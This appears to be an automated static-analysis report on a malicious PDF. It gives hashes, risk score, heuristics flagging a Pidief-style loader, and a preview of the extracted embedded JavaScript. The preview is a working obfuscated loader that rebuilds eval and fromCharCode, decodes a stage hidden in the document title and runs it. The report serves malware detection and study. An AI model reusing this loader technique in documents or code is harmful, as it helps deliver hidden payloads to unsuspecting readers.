Malicious PDF — malware analysis report

Static analysis result for SHA-256 e7369b388c3061ac…

MALICIOUS

PDF

44.5 KB First seen: 2015-09-16
MD5: 13a03d158245e9967576c9123bc6a490 SHA-1: 346fa704da3bd2f0eaf0cf9f66a90ea639cea64a SHA-256: e7369b388c3061ac003d5b5c4db6eecc29ab9165a5bbe5a6523e0046416b1ea2
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely designed to execute malicious code, potentially downloading a second-stage payload or performing other harmful actions. The SHA256 hash is included as a primary identifier for this suspicious file.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF95 449 bytes
SHA-256: 31284583b6d91fb8635d1e5380d26f3a2c439d91afa378ecc109b0613ded18aa
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ycpbj='';
gjyzi=('qwrwqr','tit');
e('jeg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
lmydf=e('String.fr'+jeg.substr(0,10));
gavc = e(jeg.substr(10)['replace'](/u/g,','));
e('k=gavc.length');
for (i = 0; i < k; i+=2) {
	liye = gavc[i+1] + ('erybjkerl',gavc[i]);
	ycpbj += lmydf(liye);
}
e(ycpbj);

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